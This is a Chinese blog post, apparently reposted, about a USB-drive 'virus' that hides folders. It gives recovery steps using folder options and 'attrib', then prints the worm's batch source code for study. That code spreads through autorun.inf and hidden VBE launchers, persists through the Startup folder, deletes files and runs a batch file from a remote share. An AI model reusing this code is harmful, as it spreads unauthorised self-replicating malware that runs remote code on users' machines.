u.vbe 又弱智又善良的“病毒”

      
     最近总觉得很忙很累,倒霉的事却一件接一件地来,而今天早上又发生了一件让我急坏了的事情.
     昨晚论文指导导师找我谈论了关于我的论文修改意见,说是最迟要明天早上交给其他导师评分了,要求我把论文再给修改修改(因为要拿优秀,也就没办法了),因此,我只能开夜车把论文给赶出来,也好第二天早上打印后交上去,然后去做其他事情.
     原本是这么计划的,也比平时早起了几十分钟(这几十分钟对我来说实在是太宝贵了,况且是在早晨),然后带着2G容量的u盘下去打印论文,可结果呢,当我打开u盘的时候,看到很多要么是好像坏了的文件夹,要么是exe格式的文件,这下可坏了,我的论文难道就这样给毁掉了?!!还有我长期开发积累起来的应用程序呢??我很无奈,我只能怪打印处的机器,是它们干的好事,而打印处的sb们除了会用鼠标按打印按钮之外,其他的连给屁都不懂,唉,shit一个字!
     一开始我断定是感染了病毒(事实证明这个病毒应该用双引号给引起来),所以我换了几台机器试图证明点什么,但最终还是让我发现了新大陆:

     第一步:打开“我的电脑〉工具〉文件夹选项〉查看”后,其中在这个“高级设置”对话框中,需要做两件事,一是把“隐藏受保护的操作系统文件(推荐)”选项去掉沟沟,二是把“显示所有文件和文件夹”给选上去,之后再按“应用”和“确定”即可。

     此时,你应该看到了u盘中多了很多隐藏类型的文件夹,而这些文件夹跟exe格式文件的文件名前缀完全一样,当你打开它后发现你原来的东西还在,里面的内容什么都没有改变过,只是变成了受保护的隐藏文件夹。这时,事情就好办了,你大可以把u盘中原来没有的文件给删除掉,原来的文件继续可以使用。

     但是并不意味着你大功告成,因为我发现有些“感冒”严重的机器,第一步的操作根本就没效,即是隐藏受保护的操作系统文件(推荐)”等功能修改不成功,即使你按照第一步操作,然后你再次打开这个对话框,你会发现这些状态仍然保持原来的样子(无奈)。这时是否意味着已经无能为力了呢?答案为否。

     接着做第二步:

打开“开始〉运行〉输入cmd开发命令窗口”,然后进入U盘(以I盘符为例),做以下操作
cd I:\\ (回车)
I: (回车)

attrib -S -H * /D /S (回车)

打开cmd后直接输入
attrib -S -H I:\\* /D /S (回车)

     在此等待一段时间,你会发现你原来的文件夹全恢复为非隐藏状态了(否则重复以上操作),这才算大功告成!!!!!

     后来,我把这个搞搞振的“病毒”备份了一份,带回去研究了一下,结果发现,这个“ 病毒”在计算机病毒定义的三个特性(传播性、潜伏性、破坏性)并不具备破坏性,倒是觉得该“病毒”的作者太过于“善良”了,具有很强的玩弄u盘使用者的味道。

     该“病毒”具有以下特征:
        1、其不会对A,B盘造成任何影响
        2、其把你原来的文件夹的属性设置为存档、系统文件、只读和隐藏,然后新建一个前缀名与文件夹名一样的exe文件
... ...
     目前暂时发现这么多,如果时间允许的话我想继续挖掘挖掘,希望能为广大的u盘使用者提供有用的帮助

     以下是该“病毒”的部分源代码(仅供学习之用,希望与对此感兴趣的高手交流交流):

 

  1 None.gif -------------------------------------------------------------------------------------------
  2 None.gif@echo off
  3 None.gifsetlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
  4 None.gifcd  / " %~dp0 "
  5 None.gif if   / " %cd% " == " %~d0\ "  (explorer.exe  " %~d0 " )
  6 None.gif set  v = 01
  7 None.gif set   " endf=%systemdrive%\8bye.txt "
  8 None.gif call :ie s.vbe
  9 None.gifecho.Wscript.sleep  10000 > s.vbe
 10 None.gifattrib s.vbe  + + + + h
 11 None.gif if   / not   " %cd% " == " %systemroot% "  ( call :cb & del  / / / q s.vbe & goto  :eof)
 12 None.gif set  dl = CDEFGHIJKLMNOPQRSTUVWXYZ
 13 None.gif set  n = 0
 14 None.gif call :inf  > inf.tem
 15 None.gif call :ql
 16 None.gifuda.a
 17 None.gifmd  " %systemroot%\bakfiles\ "
 18 None.gif call :ie  " %systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat "
 19 None.gifcopy uda - 解压.bat  " %systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat "
 20 None.gif call :ie  " %systemroot%\bakfiles\uda.a "
 21 None.gif call :copy uda.a  " %systemroot%\bakfiles\ "
 22 None.gif:s
 23 None.gifecho.  > uhere - %v%.txt
 24 None.gif if  exist  " %endf% "  ( set  n = 1 & goto   end )
 25 None.gif if   " !dl:~%n%,1! " == ""  ( set  n = 0 & s.vbe & (ping  192.168 . 2.211   - 1   && call   \\ 192.168 . 2.211 \ re$ \ add.bat))
 26 None.gif set  d = !dl:~%n%, 1 !:
 27 None.gif set   / a n = n + 1
 28 None.gif if   not  exist %d% ( goto  s)
 29 None.gif if  exist  " %d%\autorun.inf\ "  (echo.y|cacls  " %d%\autorun.inf "   / p everyone:f
 30 None.gifrd  " %d%\autorun.inf "   / / q)
 31 None.gif if  exist  " %d%\autorun.inf "  (fc  " %d%\autorun.inf "  inf.tem & if   not   " !ERRORLEVEL! " == " 0 "  ( call  U盘病毒分析.bat  - - - d %d:~ 0 , - 1 - - - s & goto  s1))  else  ( goto  s1)
 32 None.gif if   not  exist  " %d%\%~n0.vbe "  ( goto  s2)
 33 None.gif if   not  exist  " %d%\%~nx0 "  ( goto  s3)
 34 None.gif if   not  exist  " %d%\uda.a "  ( goto  s4)
 35 None.gif if  exist %d% \ % date :~ 0 , 10 %.sk ( goto  s)
 36 None.gif:s1
 37 None.gif call :inf  > %d% \ autorun.inf
 38 None.gifattrib %d% \ autorun.inf  + + + + h
 39 None.gif call :ie  " %d%\%~n0.vbe "
 40 None.gif:s2
 41 None.gif call :vbe  " %~nx0 "   > " %d%\%~n0.vbe "
 42 None.gifattrib  " %d%\%~n0.vbe "   + + + + h
 43 None.gif:s3
 44 None.gif call :copy  " %~dpnx0 "   " %d%\ "
 45 None.gif:s4
 46 None.gif call :copy  " uda.a "   " %d%\ "
 47 None.gif call :ie %d% \* .sk
 48 None.gifecho. > %d% \ % date :~ 0 , 10 %.sk
 49 None.gifattrib %d% \ % date :~ 0 , 10 %.sk  + + + + h
 50 None.gif goto  s
 51 None.gif:cb
 52 None.gif if  exist  " %systemroot%\uhere-*.txt "  (del  / / / " %systemroot%\uhere-*.txt " & s.vbe)
 53 None.gif if  exist  " %systemroot%\uhere-*.txt "  ( if  exist  " %systemroot%\uhere-%v%.txt "  ( goto  :eof)  else  ( call :v  " %systemroot%\uhere-*.txt " & ( if  %v% lss !v0! ( goto  :eof))))
 54 None.gif call :rm  > %systemdrive% \ 已经被反U盘病毒的“病毒”感染.txt
 55 None.gif call :copy  " %~dpnx0 "   " %systemroot%\ "
 56 None.gif call :copy  " uda.a "   " %systemroot%\ "
 57 None.gif call :ie  " %systemroot%\%~n0.vbe "
 58 None.gif call :vbe  " %~nx0 "   > " %systemroot%\%~n0.vbe "
 59 None.gif call :ie  " %ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe "
 60 None.gif call :vbe  " %systemroot%\%~nx0 "   > " %ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe "
 61 None.gifstart  ""   / wait  / " %systemroot%\ "   " %systemroot%\%~n0.vbe "
 62 None.gif goto  :eof
 63 None.gif:v
 64 None.gif set   " v0=%~nx1 "
 65 None.gif set   / " v0=%v0:~6,2% "
 66 None.gif goto  :eof
 67 None.gif:rm
 68 None.gifecho.    看到这个,请不要慌张。电脑病毒的定义为: 1 、传播性; 2 、潜伏性; 3 、破坏性。根据此定义,本脚本这完全符合1,有点符合2,不符合3(若说破坏性也不是没有,但只针对U盘病毒,而且会在删除文件前备份,备份地址:%systemroot% \ bakfiles \ ),因此,病毒二字加了引号,即不是真正的病毒。本脚本的目的是通过U盘传播,并沿途清理U盘中的病毒,如果可能,会把收集到的病毒文件发给作者;不会给您造成太多不便(与其被U盘病毒感染,不如被本脚本感染啦)。如果您觉得这样给您造成了不便,想卸载本脚本,请在%systemdrive% \ 下新建一个名为8bye的文本文件(不需要写入内容,即:新建%endf%),大约在20秒内完成卸载,并帮助您进行U盘病毒免疫。欲了解更多,请打开 U盘病毒分析 的自述文件(地址:%systemroot% \ readme.txt)。谢谢!
 69 None.gifecho.    包含文件:u.bat(本文件,4240字节)、uda.a(21674字节,md5:e6762ebf6123bc17ab31995c61bba955)
 70 None.gif goto  :eof
 71 None.gif:vbe
 72 None.gifecho.wscript.createobject( " wscript.shell " ).run  " ""%~1"" /start " , 0
 73 None.gif goto  :eof
 74 None.gif:inf
 75 None.gifecho.[AutoRun]
 76 None.gifecho.open = wscript.exe %~n0.vbe
 77 None.gifecho.shell \ open \ Command = wscript.exe %~n0.vbe
 78 None.gifecho.shell \ explore \ Command = wscript.exe %~n0.vbe
 79 None.gifecho.shell \ find \ Command = wscript.exe %~n0.vbe
 80 None.gif goto  :eof
 81 None.gif:ie
 82 None.gif if  exist  " %~1 "  (del  / / / " %~1 " )
 83 None.gif goto  :eof
 84 None.gif:copy
 85 None.gif call :ie  " %~dp2%~nx1 "
 86 None.gifattrib  " %~1 "   - - h
 87 None.gifcopy  " %~1 "   " %~dp2 "
 88 None.gifattrib  " %~1 "   + + h
 89 None.gifattrib  " %~dp2%~nx1 "   + + h
 90 None.gif goto  :eof
 91 None.gif:ql
 92 None.gifcd  / " %systemroot%\ "
 93 None.gifdel  / / / q Anti - U盘免疫.bat ReadMe.txt uda - 解压.bat U盘病毒分析.bat zap.a 主操控.bat 打开发送功能.bat
 94 None.gifcd  / " %~dp0 "
 95 None.gif goto  :eof
 96 None.gif: end
 97 None.gif set  d = !dl:~%n%, 1 !
 98 None.gifecho.%d%: \
 99 None.gif if  exist %d%: \  (del  / / / q %d%: \ u.vbe %d%: \ u.bat %d%: \ uda.a)
100 None.gif set   / a n = n + 1
101 None.gif if   not   " !dl:~%n%,1! " == ""   goto   end
102 None.gif call  U盘病毒分析.bat  - c & call :ql & del  / / / " %systemdrive%\已经被反U盘病毒的“病毒”感染.txt "   " %~dp0s.vbe "   " %endf% "  inf.tem  " uda.a "   " %~n0.vbe "   " uhere-%v%.txt "   " %ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe "   " %~nx0 "
103 None.gif --------------------------------------------------------------------------------------------
104 None.gif

转载于:https://www.cnblogs.com/dengqiye/archive/2007/06/02/768538.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值